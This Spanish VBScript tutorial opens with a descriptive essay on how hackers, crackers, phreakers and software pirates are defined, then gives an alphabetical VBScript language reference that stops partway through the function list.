Tutorial de Visual Basic Scripting INSTRODUCCIÓN Los piratas ya no tienen un parche en su ojo ni un garfio en reemplazo de la mano. Tampoco existen los barcos ni los tesoros escondidos debajo del mar. Llegando al año 2000, los piratas se presentan con un cerebro desarrollado, curioso y con muy pocas armas: una simple computadora y una línea telefónica. Hackers. Una palabra que aún no se encuentra en los diccionarios pero que ya suena en todas las personas que alguna vez se interesaron por la informática o leyeron algún diario. Proviene de "hack", el sonido que hacían los técnicos de las empresas telefónicas al golpear los aparatos para que funcionen. Hoy es una palabra temida por empresarios, legisladores y autoridades que desean controlar a quienes se divierten descifrando claves para ingresar a lugares prohibidos y tener acceso a información indebida. Sólo basta con repasar unas pocas estadísticas. Durante 1997, el 54 por ciento de las empresas norteamericanas sufrieron ataques de Hackers en sus sistemas. Las incursiones de los piratas informáticos, ocasionaron pérdidas totales de 137 millones de dólares en ese mismo año. El Pentágono, la CIA, UNICEF, La ONU y demás organismos mundiales han sido víctimas de intromisiones por parte de estas personas que tienen muchos conocimientos en la materia y también una gran capacidad para resolver los obstáculos que se les presentan*. Un hacker puede tardar meses en vulnerar un sistema ya que son cada vez más sofisticados. Pero el lema es viejo: hecha la ley, hecha la trampa. Los medios de comunicación masivos prefieren tildarlos de delincuentes que interceptan códigos de tarjetas de crédito y los utilizan para beneficio propio. También están los que se intrometen en los sistemas de aeropuertos produciendo un caos en los vuelos y en los horarios de los aviones. Pero he aquí la gran diferencia en cuestión. Los crackers (crack=destruir) son aquellas personas que siempre buscan molestar a otros, piratear software protegido por leyes, destruir sistemas muy complejos mediante la transmisión de poderosos virus, etc. Esos son los crackers. Adolescentes inquietos que aprenden rápidamente este complejo oficio. Se diferencian con los Hackers porque no poseen ningún tipo de ideología cuando realizan sus "trabajos". En cambio, el principal objetivo de los Hackers no es convertirse en delincuentes sino "pelear contra un sistema injusto" utilizando como arma al propio sistema. Su guerra es silenciosa pero muy convincente. El avance de la era informatica ha introducido nuevos terminos en el vocabulario de cada dia. Una de estas palabras, hacker, tiene que ver con los delitos informaticos. Todos estamos familiarizados con las historias de aquellos que consiguen entrar en las corporaciones informatizadas. Pero tenemos la impresion de que el termino "hacker" es uno de los peor entendidos, aplicados y, por tanto, usados en la era informatica. La cultura popular define a los hackers como aquellos que, con ayuda de sus conocimientos informaticos consiguen acceder a los ordenadores de los bancos y de los negociados del gobierno. Bucean por informacion que no les pertenece, roban software caro y
By KarlosVid(ÊÇ)
www.idat.byethost14.com
1
realizan transacciones de una cuenta bancaria a otra. Los criminologos, por otra parte, describen a los hackers en terminos menos halagadores. Donn Parker los denomina "violadores electronicos" y August Bequai los describe como "vandalos electronicos". Ambos, aunque aseveran que las actividades de los hackers son ilegales, eluden habilmente llamarlos "criminales informaticos". Hacen una clara distincion entre el hacker que realiza sus actividades por diversion y el empleado que de repente decide hacer algo malo. Por tanto, parece que tenemos una definicion en la que caben dos extremos: por un lado, el moderno ladron de bancos y por otro el inquieto. Ambas actividades (y todas las intermedias) son calificadas con el mismo termino. Dificilmente se podria considerar esto como un ejemplo de conceptualizacion precisa. Una gran parte de esta ambigüedad puede seguirse desde el origen durante estos aproximadamente 20 años de vida del mencionado termino. El termino comenzo a usarse aplicandolo a un grupo de pioneros de la informatica del MIT, a principios de la decada de 1960. Desde entonces, y casi hasta finales de la decada de 1970, un hacker era una persona obsesionada por conocer lo mas posible sobre los sistemas informaticos. Los diseñadores del ordenador Apple, Jobs y Wozniack, pueden considerarse hackers en este sentido de la palabra. Pero a principios de la decada de 1980, influenciados por la difusion de la pelicula Juegos de Guerra, y el ampliamente publicado arresto de una "banda de hackers" conocida como la 414, los hackers pasaron a ser considerados como chicos jovenes capaces de violar sistemas informaticos de grandes empresas y del gobierno. Desgraciadamente, los medios de informacion y la comunidad cientifica social no ha puesto mucho esfuerzo por variar esta definicion. El problema para llegar a una definicion mas precisa radica, tanto en la poca informacion que hay sobre sus actividades diarias, como en el hecho de que lo que se conoce de ellos no siempre cabe bajo las etiquetas de los delitos conocidos. Es decir, no hay una definicion legal que sea aplicable a los hackers, ni todas sus actividades conllevan la violacion de las leyes. Esto lleva a que la aplicacion del termino varie segun los casos, dependiendo de los cargos que se puedan imputar y no a raiz de un claro entendimiento de lo que el termino significa. Este problema, y la falta de entendimiento de lo que significa ser un hacker, convierte a esta en una etiqueta excesivamente utilizada para aplicar a muchos tipos de intrusiones informaticas. Parker y Bequai, dos lideres en el estudio de los delitos informaticos, utilizan el termino "hacker" de formas ligeramente diferentes. Parker reconoce que hacking no abarca todo el rango de actividades asociadas a la violacion de los sistemas informaticos, pero lo prefiere al termino "phreaking", que considera muy oscuro. Por otra parte, Bequai no rechaza el termino "phreaking" y a menudo lo aplica a hechos que Parker califica como de hacker. Bequai confunde aun mas el termino al definir al hacker como alguien que utiliza ilegalmente las tarjetas de credito telefonico para acceder a sistemas que distribuyen software comercial ilegalmente. Veremos que esto tiene poco que ver con las actuaciones propias de los hackers, pero es ilustrativa de otros tipos de actividades informaticas inusuales. Los terminos, "hacker", "phreaker" y "pirata" se presentan y definen tal y como los entienden aquellos que se identifican con estos papeles. En primer lugar, el area de los hackers. En la tradicion de esta comunidad informatica, el hacker puede realizar dos tipos de actividades: bien acceder a un sistema informatico, o bien algo mas general, como explorar y aprender a utilizar un sistema informatico. En la primera connotacion, el termino lleva asociados las herramientas y trucos para obtener cuentas de usuarios validos de un sistema informatico, que de otra forma serian inaccesibles para los hackers. Se podria pensar que esta palabra esta intimamente relacionada con la naturaleza repetitiva de los intentos de acceso. Ademas, una vez que se ha conseguido acceder, las cuentas ilicitas a veces compartidas con otros asociados, denominandolas "frescas". He aqui la vision estereotipada de los medios de comunicacion de los hackers un joven de menos de veinte años, con conocimientos de informatica, pegado al teclado de su ordenador, siempre en busca de una cuenta no usada o un punto debil en el sistema de seguridad. Aunque esta vision no es muy precisa, representa bastante bien el aspecto del termino. La segunda dimension del mencionado termino se ocupa de lo que sucede una vez que se ha conseguido acceder al sistema cuando se ha conseguido una clave de acceso. Como el sistema esta siendo utilizado sin autorizacion, el hacker no suele tener, el terminos generales, acceso a los manuales de operacion y otros recursos disponibles para los usuarios legitimos del sistema. Por tanto, el usuario experimenta con estructuras de comandos y explora ficheros para conocer el uso que se da al sistema. En oposicion con el primer aspecto del termino, aqui no se trata solo de acceder al sistema (aunque alguno podria estar buscando niveles de acceso mas restringidos), sino de aprender mas sobre la operacion general del sistema. Contrariamente a lo que piensan los medios de comunicacion, la mayoria de los hackers no destruyen y no dañan deliberadamente los datos. El hacerlo iria en contra de su intencion de mezclarse con el usuario normal y atraeria la atencion sobre su presencia, haciendo que la cuenta usada sea borrada. Despues de gastar un tiempo sustancioso en conseguir la cuenta, el hacker pone una alta prioridad para que su uso no sea descubierto. Ademas de la obvia relacion entre las dos acepciones, la palabra "hacker" se reserva generalmente a aquellos que se dedican al segundo tipo. En otras palabras, un hacker es una persona que tiene el conocimiento, habilidad y deseo de explorar completamente un sistema informatico. El mero hecho de conseguir el acceso (adivinando la clave de acceso) no es suficiente para conseguir la denominacion. Debe haber un deseo de liderar, explotar y usar el sistema despues de haber accedido a él. Esta distincion parece logica, ya que no todos los intrusos mantienen el interes una vez que han logrado acceder al sistema. En el submundo informatico, las claves de acceso y las cuentas suelen intercambiarse y ponerse a disposicion del uso general. Por tanto, el hecho de conseguir el acceso puede considerarse como la parte "facil", por lo que aquellos que utilizan y exploran los sistemas son los que tienen un mayor prestigio. La segunda actividad es la de los phreakers telefonicos. Se convirtio en una actividad de uso comun cuando se publicaron las aventuras de John Draper, en un articulo de la revista Esquire, en 1971. Se trata de una forma de evitar los mecanismos de facturacion de las compañías telefonicas. Permite llamar a de cualquier parte del mundo sin costo practicamente. En muchos casos, tambien evita, o al menos inhibe, la posibilidad de que se pueda trazar el camino de la llamada hasta su origen, evitando asi la posibilidad de ser atrapado. Par la mayor parte de los miembros del submundo informatico, esta es simplemente una herramienta para poder realizar llamadas de larga distancia sin tener que pagar enormes facturas. La cantidad de personas que se consideran phreakers, contrariamente a lo que sucede con los hackers, es relativamente pequeña. Pero aquellos que si se consideran phreakers lo hacen para explorar el sistema telefonico. La mayoria de la gente, aunque usa el telefono, sabe muy poco acerca de él. Los phreakers, por otra parte, quieren aprender mucho sobre el. Este deseo de conocimiento lo resume asi un phreaker activo: "El sistema telefonico es la cosa mas interesante y fascinante que conozco. Hay tantas cosas que aprender. Incluso los phreakers tienen diferentes
By KarlosVid(ÊÇ)
www.idat.byethost14.com
2
areas de conocimiento. Hay tantas cosas que se pueden conocer que en una tentativa puede aprenderse algo muy importante y en la siguiente no. O puede suceder lo contrario. Todo depende de como y donde obtener la informacion. Yo mismo quisiera trabajar para una empresa de telecomunicaciones, haciendo algo interesante, como programar una central de conmutacion. Algo que no sea una tarea esclavizadora e insignificante. Algo que sea divertido. Pero hay que correr el riesgo para participar, a no ser que tengas la fortuna de trabajar para una de estas compañías. El tener acceso a las cosas de estas empresas, como manuales, etc., debe ser grandioso". La mayoria de la gente del submundo no se acerca al sistema telefonico con esa pasion. Solo estan interesados en explorar sus debilidades para otros fines. En este caso, el sistema telefonico es un fin en si mismo. Otro entrevistado que se identificaba a si mismo como hacker, explicaba: "Se muy poco sobre teléfonos simplemente soy un hacker. Mucha gente hace lo mismo. En mi caso, hacer de phreaker es una herramienta, muy utilizada, pero una herramienta al fin y al cabo". En el submundo informatico, la posibilidad de actuar asi se agradece, luego llego el uso de la tarjeta telefonica. Estas tarjetas abrieron la puerta para realizar este tipo de actividades a gran escala. Hoy en dia no hace falta ningun equipo especial. Solo un telefono con marcacion por tonos y un numero de una de esas tarjetas, y con eso se puede llamar a cualquier parte del mundo. De igual forma que los participantes con mas conocimientos y motivacion son llamados hackers, aquellos que desean conocer el sistema telefonico son denominados phreakers. El uso de las herramientas que les son propias no esta limitada a los phreakers, pero no es suficiente para merecer la distincion. Finalmente llegamos a la "telepirateria" del software. Consiste en la distribucion ilegal de software protegido por los derechos de autor. No nos refiererimos a la copia e intercambio de diskettes que se produce entre conocidos (que es igualmente ilegal), sino a la actividad que se realiza alrededor de los sistemas BBS que se especializan en este tipo de trafico. El acceso a este tipo de servicios se consigue contribuyendo, a traves de un modem telefonico, con una copia de un programa comercial. Este acto delictivo permite a los usuarios copiar, o "cargar", de tres a seis programas que otros hayan aportado. Asi, por el precio de una sola llamada telefonica, uno puede amontonar una gran cantidad de paquetes de software. En muchas ocasiones, incluso se evita pagar la llamada telefonica. Notese que al contrario que las dos actividades de hacker y phreaker, no hay ninguna consideracion al margen de "prestigio" o "motivacion" en la telepirateria. En este caso, el cometer los actos basta para "merecer" el titulo. La telepirateria esta hecha para las masas. Al contrario de lo que sucede con los hackers y los phreakers, no requiere ninguna habilidad especial. Cualquiera que tenga un ordenador con modem y algun software dispone de los elementos necesarios para entrar en el mundo de la telepirateria. Debido a que la telepirateria no requiere conocimientos especiales, el papel de los piratas no inspira ningun tipo de admiracion o prestigio en el submundo informatico. (Una posible excepcion la constituyen aquellos que son capaces de quitar la proteccion del software comercial.) Aunque los hackers y los phreakers de la informatica probablemente no desaprueben la pirateria, y sin duda participen individualmente de alguna forma, son menos activos (o menos visibles) en los BBS que se dedican a la telepirateria. Tienden a evitarlos porque la mayoria de los telepiratas carecen de conocimientos informaticos especiales, y por tanto son conocidos por abusar en exceso de la red telefonica para conseguir el ultimo programa de juegos. Un hacker mantiene la teoria de que son estos piratas los culpables de la mayoria de los fraudes con tarjetas de credito telefonicas. "Los medios de comunicacion afirman que son unicamente los hackers los responsables de las perdidas de las grandes compañías de telecomunicaciones y de los servicios de larga distancia. Este no es el caso. Los hackers representan solo una pequeña parte de estas perdidas. El resto esta causado por “los piratas y ladrones que venden estos codigos en la calle." Otro hacker explica que el proceso de intercambiar grandes programas comerciales por modem normalmente lleva varias horas, y son estas llamadas, y no las que realizan los "entusiastas de telecomunicaciones", las que preocupan a las compañias telefonicas. Pero sin considerar la ausencia de conocimientos especiales, por la fama de abusar de la red, o por alguna otra razon, parece haber algun tipo de division entre los hackers / phreakers y los telepiratas. Despues de haber descrito los tres papeles del submundo informatico, podemos ver que la definicion presentada al principio, segun la cual un hacker era alguien que usaba una tarjeta de credito telefonico robada para cargar alguno de los ultimos juegos, no refleja las definiciones dadas en el propio submundo informatico. Obviamente, corresponde a la descripcion de un telepirata y no a las acciones propias de un hacker o un phreaker. En todo esto hay una serie de avisos. No se quiere dar la impresion de que un individuo es un hacker, un phreaker o un telepirata exclusivamente. Estas categorias no son mutuamente excluyentes. De hecho, muchos individuos son capaces de actuar en mas de uno de estos papeles. Se cree que la respuesta se encuentra en buscar los objetivos que se han expuesto previamente. Recuerdese que el objetivo de un hacker no es entrar en un sistema, sino aprender como funciona. El objetivo de un phreaker no es realizar llamadas de larga distancia gratis, sino descubrir lo que la compañía telefonica no explica sobre su red y el objetivo de un telepirata es obtener una copia del software mas moderno para su ordenador. Asi, aunque un individuo tenga un conocimiento especial sobre los sistemas telefonicos, cuando realiza una llamada de larga distancia gratis para cargar un juego, esta actuando como un telepirata. En cierto modo, esto es un puro argumento semantico. Independientemente de que a un hacker se le etiquete erroneamente como telepirata, los accesos ilegales y las copias no autorizadas de software comercial van a seguir produciendose. Pero si queremos conocer los nuevos desarrollos de la era informatica, debemos identificar y reconocer los tres tipos de actividades con que nos podemos encontrar. El agrupar los tres tipos bajo una sola etiqueta es mas que impreciso, ignora las relaciones funcionales y diferencias entre ellos. Hay que admitir, de todas formas, que siempre habra alguien que este en desacuerdo con las diferencias que se han descrito entre los grupos. En el desarrollo de esta investigacion, quedo de manifiesto que los individuos que realizan actualmente estas actividades no se ponen de acuerdo en cuanto a donde estan las fronteras. Las categorias y papeles, como se ha indicado previamente, no son mutuamente exclusivos. En particular, el mundo de los hackers y los phreakers estan muy relacionados. Pero, de la misma forma que no debemos agrupar toda la actividad del submundo informatico bajo la acepcion de hacker, tampoco debemos insistir en que nuestras definiciones sean exclusivas hasta el punto de ignorar lo que representan. Las tipologias que he presentado son amplias y necesitan ser depuradas. Pero representan un paso mas en la representacion precisa, especificacion e identificacion de las actividades que se dan en el submundo de la informatica.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
3
Referencia del lenguaje de VBScript Estos prácticos bloques de información le ayudarán a examinar las diferentes partes del Lenguaje de secuencias de comandos de Visual Basic. Encontrará todas las partes del lenguaje de VBScript mostradas por orden alfabético en la Lista alfabética de palabras clave. Si sólo desea examinar una categoría, por ejemplo objetos, cada categoría del lenguaje tiene su propia sección, más compacta. ¿Cómo funciona? Haga clic en uno de los encabezados de la izquierda para mostrar una lista de elementos contenidos en esa categoría. Desde esta lista, seleccione el tema que desea ver. Una vez abierto ese tema, puede seguir los vínculos a otras secciones relacionadas. Compruébelo. Estudie algunas instrucciones, examine los métodos o descifre unas pocas funciones. Verá qué versátil puede llegar a ser la Biblioteca de tiempo de ejecución de secuencias de comandos. Elemento del lenguaje
Descripción
Abs (Función)
Devuelve el valor absoluto de un número.
Suma (+), (Operador)
Suma dos números.
And (Operador)
Realiza una conjunción lógica de dos expresiones.
Array (Función)
Devuelve una Variant que contiene una matriz.
Asc (Función)
Devuelve el código de carácter ANSI que corresponde a la primera letra en una cadena.
Asignación (=) (Operador)
Asigna un valor a una variable o propiedad.
Atn (Función)
Devuelve el arcotangente de un número.
Call (Instrucción)
Traspasa un control a un procedimiento Sub o Function.
CBool (Función)
Devuelve una expresión convertida a una Variant del subtipo Boolean.
CBCByte (Función)
Devuelve una expresión convertida a una Variant del subtipo Byte.
CCur, fCCur (Función)
Devuelve una expresión convertida a una Variant del subtipo Currency.
CDate (Función)
Devuelve una expresión convertida a una Variant del subtipo Date.
CDbl (Función)
Devuelve una expresión convertida a una Variant del subtipo Double.
Chr (Función)
Devuelve el carácter asociado con el código de carácter ANSI especificado.
CInt (Función)
Devuelve una expresión convertida a una Variant del subtipo Integer.
Class (Objeto)
Proporciona acceso a los eventos de una clase creada.
Class (Instrucción)
Declara el nombre de una clase.
Clear (Método)
Borra todos los valores de propiedad del objeto Err.
CLng (Función)
Devuelve una expresión convertida a una Variant del subtipo Long.
Color (Constantes)
Lista de constantes de color.
Comparación (Constantes)
Lista de constantes utilizadas en operaciones de comparación.
Concatenación (&)(Operador)
Fuerza la concatenación de cadenas de dos expresiones.
Const (Instrucción)
Declara constantes para utilizar en lugar de valores literales.
Cos (Función)
Devuelve el coseno de un ángulo.
CreateObject (Función)
Crea y devuelve una referencia a un objeto de Automatización.
CSng (Función)
Devuelve una expresión convertida a una Variant del subtipo Single.
CStr (Función)
Devuelve una expresión convertida a una Variant del subtipo String.
Fecha y hora (Constantes)
Lista de constantes que definen los días de la semana y otras constantes utilizadas en las operaciones de fecha y hora.
Formato de fecha (Constantes)
Lista de constantes utilizadas para dar formato a fechas y horas.
Date (Función)
Devuelve la fecha actual del sistema.
DateAdd(Función)
Devuelve una fecha a la que se agregó un intervalo de tiempo especificado.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
4
DateDiff (Función)
Devuelve el número de intervalos entre dos fechas.
DatePart (Función)
Devuelve la parte especificada de una fecha dada.
DateSerial (Función)
Devuelve una Variant del subtipo Date para un día, mes y año especificados.
DateValue (Función)
Devuelve una Variant del subtipo Date.
Day (Función)
Devuelve un número entero entre 1 y 31, ambos inclusive, que representa el día del mes.
Description (Propiedad)
Devuelve o establece la cadena descriptiva asociada con un error.
Dictionary (Objeto)
Objeto que almacena pares de elemento y clave.
Dim (Instrucción)
Declara variables y asigna espacio de almacenamiento.
División (/) (Operador)
Divide dos números y devuelve un resultado de punto flotante.
Do...Loop (Instrucción)
Repite un bloque de instrucciones mientras una condición sea True o hasta que una condición sea True.
Empty
Indica un valor variable no inicializado.
Eqv (Operador)
Realiza una equivalencia lógica de dos expresiones.
Erase (Instrucción)
Vuelve a inicializar los elementos de matrices de tamaño fijo y anula la asignación de espacio de almacenamiento de la matriz dinámica.
Err (Objeto)
Contiene información acerca de los errores en tiempo de ejecución.
Eval (Función)
Evalúa una expresión y devuelve el resultado.
Execute (Método)
Ejecuta una búsqueda de expresión regular con una cadena especificada.
Execute (Instrucción)
Ejecuta una o más instrucciones especificadas.
Exit (Instrucción)
Sale de un bloque de código Do...Loop, For...Next, Function o Sub.
Exp (Función)
Devuelve e (la base de los logaritmos naturales) elevado a una potencia.
Exponenciación (^) (Operador)
Eleva un número a la potencia de un exponente.
False
Palabra clave que tiene un valor igual a cero.
FileSystemObject (Objeto)
Proporciona acceso al sistema de archivos de un equipo.
Filter (Función)
Devuelve una matriz con base cero que contiene un subconjunto de una matriz de cadenas basada en un criterio de filtro especificado.
FirstIndex (Propiedad)
Devuelve la posición en una cadena de búsqueda donde ocurre una coincidencia.
Fix (Función)
Devuelve la parte entera de un número.
For...Next (Instrucción)
Repite un grupo de instrucciones un número especificado de veces.
For Each...Next (Instrucción)
Repite un grupo de instrucciones para cada elemento en una matriz o colección.
FormatCurrency (Función)
Devuelve una expresión con formato de moneda utilizando el símbolo de moneda definido en el Panel del control del sistema.
FormatDateTime (Función)
Devuelve una expresión con formato de fecha u hora.
FormatNumber (Función)
Devuelve una expresión con formato de número.
FormatPercent (Función)
Devuelve una expresión con formato de porcentaje (multiplicado por 100) con un carácter % final.
Function (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Function.
GetObject (Función)
Devuelve una referencia a un objeto de Automatización desde un archivo.
GetRef (Función)
Devuelve una referencia a un procedimiento que se puede enlazar a un evento.
Global (Propiedad)
Establece o devuelve un valor booleano.
Hex (Función)
Devuelve una cadena que representa el valor hexadecimal de un número.
HelpContext (Propiedad)
Establece o devuelve un Id. de contexto para un tema en un archivo de Ayuda.
HelpFile (Propiedad)
Establece o devuelve una ruta completa a un archivo de Ayuda
Hour (Función)
Devuelve un número entero entre 0 y 23, ambos inclusive, que representan la hora del día.
If...Then...Else (Instrucción)
Ejecuta de forma condicional un grupo de instrucciones, dependiendo del valor de una expresión.
IgnoreCase (Propiedad)
Establece o devuelve un valor booleano que indica si una búsqueda de patrón distingue
By KarlosVid(ÊÇ)
www.idat.byethost14.com
5
las mayúsculas de las minúsculas.
Imp (Operador)
Realiza una implicación lógica de dos expresiones.
Initialize (Evento)
Ocurre cuando se crea una instancia de la clase asociada.
InputBox (Función)
Muestra un aviso en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto.
InStr (Función)
Devuelve la posición de la primera aparición de una cadena dentro de otra.
InStrRev (Función)
Devuelve la posición de una aparición de una cadena dentro de otra, desde el final de la cadena.
Int (Función)
Devuelve la parte entera de un número.
División entera (\) (Operador)
Divide dos números y devuelve un resultado entero.
Is (Operador)
Compara dos variables de referencia de objetos.
IsArray (Función)
Devuelve un valor booleano que indica si una variable es una matriz.
IsDate (Función)
Devuelve un valor booleano que indica si se puede convertir una expresión en fecha.
IsEmpty (Función)
Devuelve un valor booleano que indica si se inicializó una variable.
IsNull (Función)
Devuelve un valor booleano que indica si una expresión no contiene datos válidos (Null).
IsNumeric (Función)
Devuelve un valor booleano que indica si se puede evaluar una expresión como un número.
IsObject (Función)
Devuelve un valor booleano que indica si una expresión hace referencia a un objeto de Automatización válido.
Join (Función)
Devuelve una cadena creada al unir varias subcadenas contenidas en una matriz.
LBound (Función)
Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.
LCase (Función)
Devuelve una cadena convertida a minúsculas.
Left (Función)
Devuelve un número de caracteres especificado desde el lado izquierdo de una cadena.
Len (Función)
Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable.
Length (Propiedad)
Devuelve la longitud de una coincidencia encontrada en una cadena de búsqueda.
LoadPicture (Función)
Devuelve un objeto de imagen. Sólo disponible en plataformas de 32 bits.
Log (Función)
Devuelve el logaritmo natural de un número.
LTrim (Función)
Devuelve una copia de una cadena sin los espacios iniciales.
Match (Objeto)
Proporciona acceso a las propiedades de sólo lectura de una coincidencia de expresión regular.
Matches (Colección)
Colección de objetos Match de expresión regular.
Mid (Función)
Devuelve un número especificado de caracteres de una cadena.
Minute (Función)
Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el minuto de la hora.
Diversas (Constantes)
Lista de constantes que no corresponden a ninguna otra categoría.
Mod (Operador)
Divide dos números y devuelve sólo el resto.
Month (Función)
Devuelve un número entero entre 1 y 12, ambos inclusive, que representa el mes del año.
MonthName (Función)
Devuelve una cadena que indica el mes especificado.
MsgBox (Constantes)
Lista de constantes utilizadas con la función MsgBox.
MsgBox (Función)
Muestra un mensaje en un cuadro de diálogo, espera a que el usuario haga clic en un botón y devuelve un valor que indica en que botón hizo clic el usuario .
Multiplicación (*) (Operador)
Multiplica dos números.
Negación (-) (Operador)
Indica el valor negativo de una expresión numérica.
Not (Operador)
Realiza una negación lógica en una expresión.
Now (Función)
Devuelve la fecha y hora actual según los valores de fecha y hora de sistema del equipo.
Nothing
Disocia una variable de objeto de cualquier objeto real.
Null
Indica que una variable no contiene datos válidos.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
6
Number (Propiedad)
Devuelve o establece un valor numérico que especifica un error.
Oct (Función)
Devuelve una cadena que representa el valor octal de un número.
On Error (Instrucción)
Habilita el control de errores.
Precedencia de operadores
Lista que muestra el orden de precedencia entre varios operadores utilizados en VBScript.
Option Explicit (Instrucción)
Fuerza la declaración explícita de todas las variables en una secuencia de comandos.
Or (Operador)
Realiza una disyunción lógica de dos expresiones.
Pattern (Propiedad)
Establece o devuelve el patrón de expresión regular que se busca.
Private (Instrucción)
Declara las variables privadas y asigna espacio de almacenamiento.
PropertyGet (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que obtiene (devuelve) el valor de una propiedad.
PropertyLet (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que asigna el valor de una propiedad.
PropertySet (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que establece una referencia a un objeto.
Public (Instrucción)
Declara las variables públicas y asigna espacio de almacenamiento.
Raise (Método)
Genera un error en tiempo de ejecución.
Randomize (Instrucción)
Inicializa el generador de números aleatorios.
ReDim (Instrucción)
Declara las variables de matriz dinámica y asigna o vuelve a asignar el espacio de almacenamiento en el nivel de procedimiento.
RegExp (Objeto)
Proporciona compatibilidad con expresiones regulares simples.
Rem (Instrucción)
Incluye observaciones explicativas en un programa.
Replace (Función)
Devuelve una cadena en la que se reemplazó una subcadena especificada con otra subcadena un número especificado de veces.
Replace (Método)
Reemplaza el texto encontrado en una búsqueda de expresión regular.
RGB (Función)
Devuelve un número entero que representa un valor de color RGB.
Right (Función)
Devuelve un número especificado de caracteres del lado derecho de una cadena.
Rnd (Función)
Devuelve un número aleatorio.
Round (Función)
Devuelve un número redondeado a un número especificado de lugares decimales.
RTrim (Función)
Devuelve una copia de una cadena sin espacios finales.
ScriptEngine (Función)
Devuelve una cadena que representa el lenguaje de secuencias de comandos en uso.
ScriptEngineBuildVersion (Función)
Devuelve el número de versión de compilación del motor de secuencias de comandos en uso.
ScriptEngineMajorVersion (Función)
Devuelve el número de la versión principal del motor de secuencias de comandos en uso.
ScriptEngineMinorVersion (Función) Devuelve el número de la versión secundaria del motor de secuencias de comandos en uso.
Second (Función)
Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el segundo del minuto.
Select Case (Instrucción)
Ejecuta uno de entre varios grupos de instrucciones, según el valor de una expresión.
Set (Instrucción)
Asigna la referencia de un objeto a una variable o propiedad.
Sgn (Función)
Devuelve un número entero que indica el signo de un número.
Sin (Función)
Devuelve el seno de un ángulo.
Source (Propiedad)
Devuelve o establece el nombre del objeto o aplicación que generó originalmente el error.
Space (Función)
Devuelve una cadena compuesta por el número especificado de espacios.
Split (Función)
Devuelve una matriz unidimensional con base cero que contiene un número especificado de subcadenas.
Sqr (Función)
Devuelve la raíz cuadrada de un número.
StrComp (Función)
Devuelve un valor que indica el resultado de una comparación de cadenas.
Cadena (Constantes)
Lista de constantes de cadena.
String (Función)
Devuelve una cadena de caracteres repetidos de la longitud especificada.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
7
StrReverse (Función)
Devuelve una cadena en la que está invertido el orden de caracteres de una cadena especificada.
Sub (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Sub.
Resta (-) (Operador)
Encuentra la diferencia entre dos números o indica el valor negativo de una expresión numérica.
Tan (Función)
Devuelve la tangente de un ángulo.
Terminate (Evento)
Ocurre cuando se termina una instancia de la clase asociada.
Test (Método)
Ejecuta una búsqueda de expresión regular en una cadena especificada.
Time (Función)
Devuelve una Variant del subtipo Date que indica la hora actual del sistema.
Timer (Función)
Devuelve el número de segundos que transcurrieron desde las 12:00 a.m.(medianoche).
TimeSerial (Función)
Devuelve una Variant del subtipo Date que contiene la hora de una hora, minuto y segundo específicos.
TimeValue (Función)
Devuelve una Variant del subtipo Date que contiene la hora.
Trim (Función)
Devuelve una copia de una cadena sin espacios iniciales o finales.
Triple estado (Constantes)
Utilícelas en cualquier parte de su código para representar los valores mostrados en cada una.
True
La palabra clave que tiene un valor igual a -1.
TypeName (Función)
Devuelve una cadena que proporciona información acerca del subtipo Variant de una variable.
UBound (Función)
Devuelve el mayor subíndice disponible para la dimensión indicada en una matriz.
UCase (Función)
Devuelve una cadena convertida a mayúsculas.
Value (Propiedad)
Devuelve el valor o texto de una coincidencia encontrada en una cadena de búsqueda.
VarType (Constantes)
Lista de constantes que definen los subtipos Variant.
VarType (Función)
Devuelve un valor que indica el subtipo de una variable.
VBScript (Constantes)
Diversas categorías de constantes proporcionadas en VBScript.
Weekday (Función)
Devuelve un número entero que representa el día de la semana.
WeekdayName (Función)
Devuelve una cadena que indica el día de la semana especificado.
While...Wend (Instrucción)
Ejecuta una serie de instrucciones mientras una condición dada sea True.
With (Instrucción)
Ejecuta una serie de instrucciones en un único objeto.
Xor (Operador)
Realiza una exclusión lógica en dos expresiones.
Year (Función)
Devuelve un número entero que representa el año.
Color (Constantes)
Lista de constantes de colores.
Comparación (Constantes)
Lista de constantes utilizadas en operaciones de comparación.
Fecha y hora (Constantes)
Lista de constantes que definen días de la semana y otras constantes utilizadas en las operaciones de fecha y hora.
Date Format (Constantes)
Lista de constantes utilizadas para dar formato a fechas y horas.
Diversas (Constantes)
Lista de constantes que no corresponden a ninguna otra categoría.
MsgBox (Constantes)
Lista de constantes utilizadas con la función MsgBox.
Cadena (Constantes)
Lista de constantes de cadena.
Triple estado (Constantes)
Utilícelas en cualquier parte de su código para representar los valores mostrados para cada una.
VarType (Constantes)
Lista de constantes que definen subtipos Variant.
VBScript (Constantes)
Diversas categorías de constantes proporcionadas en VBScript.
Initialize (Evento)
Ocurre cuando se crea una instancia de la clase asociada.
Terminate (Evento)
Ocurre cuando se termina una instancia de la clase asociada.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
8
Abs (Función)
Devuelve el valor absoluto de un número.
Array (Función)
Devuelve una Variant que cotiene una matriz.
Asc (Función)
Devuelve el código de caracteres ANSI que corresponde a la primera letra de una cadena.
Atn (Función)
Devuelve el arcotangente de un número.
CBool (Función)
Devuelve una expresión convertida a una Variant del subtipo Boolean.
CByte (Función)
Devuelve una expresión convertida a una Variant del subtipo Byte.
CCur (Función)
Devuelve una expresión convertida a una Variant del subtipo Currency.
CDate (Función)
Devuelve una expresión convertida a una Variant del subtipo Date.
CDbl (Función)
Devuelve una expresión convertida a una Variant del subtipo Double.
Chr (Función)
Devuelve el caracter asociado con el código de caracteres ANSI especificado.
CInt (Función)
Devuelve una expresión convertida a una Variant del subtipo Integer.
CLng (Función)
Devuelve una expresión convertida a una Variant del subtipo Long.
Cos (Función)
Devuelve el coseno de un ángulo.
CreateObject (Función)
